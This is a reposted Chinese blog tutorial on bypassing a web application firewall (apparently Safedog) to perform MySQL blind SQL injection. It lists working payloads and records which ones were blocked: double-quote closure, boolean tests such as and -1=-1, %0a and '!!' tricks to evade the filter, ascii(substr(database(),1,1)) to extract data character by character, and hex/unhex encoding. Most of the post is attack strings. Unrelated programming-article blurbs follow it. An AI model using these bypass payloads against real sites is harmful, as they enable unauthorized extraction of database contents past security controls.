bypasswaf之盲注

0x00前言前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。0x01与waf的对抗我们来试试常规的注入思路。'单引号不

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00  前言

前面讲到了联合查询如何过waf,那么今天给大家来讲讲盲注怎么去,bypasswaf。这里还是以xx狗为例。

0x01  与waf的对抗

 

我们来试试常规的注入思路。

' 单引号   不报错
"  双引号  报错
\  反斜杠   报错

bypasswaf之盲注

 

 

 

这里可以看到报错,爆出了他是以双引号闭合的  加个–+ 看看回显是否正常,正常的话说明他的闭合就是双引号。

bypasswaf之盲注

 

 

 

闭合成功,闭合这一步我个人认为是整个sql注入的精髓,闭合成功离数据还会远嘛?

再来尝试and 1=1 ,因为这个关卡是盲注的  所以直接放弃联合查询。

and 1=1   拦截
and 1       拦截
and  0      拦截
and 'a'='a'   不拦截且正常显示
and 'a'='b'   不拦截且无回显
and -1 =-1   不拦截且正常
and -1=-2    不拦截且无回显

 那么现在我们就可以判断他是存在注入点的。

现在先来截取字符的函数对他的字符进行判断。

 and length(database())>1   拦截
and length(database()) 不拦截
and length(database()) >    不拦截

那么拦截的肯定是大于号和 1之间,那么我们就要对他中间fuzz一下

 

bypasswaf之盲注

 

 

 

and length(database())>%0a10    不拦截且无回显
and length(database())>%0a7     不拦截且回显正常
and length(database())=%0a8      不拦截且回显正常

这时候就可以确定他的数据库名长度是8个字符。要使用到ascii和substr这个函数,获取一个字符然后取他的ascii码,然后拿去转成字符就可以拿到他的数据库名了。

and ascii(substr(database(),1,1))<200   回显正常
and ascii(substr(database(),1,1))<126   正常
and ascii(substr(database(),1,1))<125   错误
and ascii(substr(database(),1,1))=115   正常

这里直接不拦截,可以来一个一个才他的ascii,当然一般会配合burp 直接写等于号 来从100跑到300 ,能有效的省略时间。

后来发现mysql的一个特性可以拿来代替空格。

bypasswaf之盲注

 

 

 

!!and 1=1      执行成功
!!!and 1=1     失败
!!!! and 1=1  执行成功

但是在 注入时候!!!and1=1 会被拦截,那么我们这里可以运用在其他的地方。例如substr 

 

我们还可以灵活运用hex 这个函数例如获取的acsii进行 hex()16的转换,然后再运用unhex来做解密成功绕过。

 

bypasswaf之盲注

 

 

 

bypasswaf之盲注

 

 那么这时候可以可以使用到unhex再进行解密 或者说brup 0-300 再使用hex算法去跑,跑完再进行hex解密。

成功绕过。

0x02    结尾

由于查询字段和表名那些方式绕过方式都是一样的,这里就不给大家做过多的演示,可以自己去尝试。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119976.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 关于G1收集器

    关于G1收集器G1(GarbageFirst)收集器是Oracle公司开发的一款主要面向服务端的拥有相对可靠的停顿预测模型的垃圾收集器。在垃圾收集器的历史上有着里程碑式的意义。与之前的收集器不同,G1不在基于固定的新生代与老年代的内存分配方式进行垃圾清理,而是使用了基于Region的内存分配的方式进行垃圾清理。这种方式使得G1在进行垃圾清理的时候不需要对整个新生代或老年代甚至整个Java堆进行垃圾清理,这样就极大的减少标记期间的停顿时间。设计思路:面向局部(单个或多个Region)收集内存布局:基于Regi

    2022年5月20日
    31
  • 一文搞懂JVM内存结构

    一文搞懂JVM内存结构1.前言Java虚拟机是中、高级开发人员必须修炼的知识,有着较高的学习门槛,很多人都不情愿去接触它。可能是觉得学习成本较高又或者是感觉没什么实用性,所以干脆懒得“搭理”它了。其实这种想法是错误的。举个最简单的例子,JVM基本上是每家招聘公司都会问到的问题,它们会这么无聊问这些不切实际的问题吗?很显然不是。由JVM引发的故障问题,无论在我们开发过程中还是生产环境下都是非常常见的。比如…

    2022年6月14日
    31
  • Vue(3)webstorm代码格式规范设置与vue模板配置

    Vue(3)webstorm代码格式规范设置与vue模板配置编译器代码格式规范设置通常我们写代码时,代码缩进都是4个空格,但是在前端中,据全球投票统计,建议使用2个空格来进行代码缩进。首先我们打开webstorm中的设置,如果使用的是mac的同学直接使用c

    2022年8月7日
    6
  • Petshop4学习

    Petshop4学习Petshop4的研究分析:http://blog.csdn.net/sjklove/archive/2006/11/10/1377405.aspx1.项目概述与架构分析微软刚推出了基于ASP.NET2.0下的PetShop4,该版本有了一个全新的用户界面。是研究ASP.NET2.0的好范例啊,大家都知道,一直以来,在.NET和Java之间争论不休,到底使用哪个平台开发的企业级应用性…

    2022年10月17日
    0
  • mysql 获取当前时间数字_MySQL 获得当前日期时间(以及时间的转换)

    mysql 获取当前时间数字_MySQL 获得当前日期时间(以及时间的转换)MYSQL获取当前日期及日期格式获取系统日期:NOW()格式化日期:DATE_FORMAT(date,format)注:date:时间字段format:日期格式返回系统日期,输出2009-12-2514:38:59selectnow();输出09-12-25selectdate_format(now(),’%y-%m-%d’);根据format字符串格式化date值:%S,%…

    2022年9月27日
    1
  • flask web开发实战 入门 pdf_常用的web开发框架

    flask web开发实战 入门 pdf_常用的web开发框架Flask简介什么是Flask?Flask是一个用Python编写的Web应用程序框架。Flask基于Werkzeug(WSGI工具包)和Jinja2模板引擎。什么是WebFramework?WebApplicationFramework(Web应用程序框架)或简单的WebFramework(Web框架)表示一个库和模块的集合,使Web应用程序开发人员能够编写应用程序,而……

    2022年8月26日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号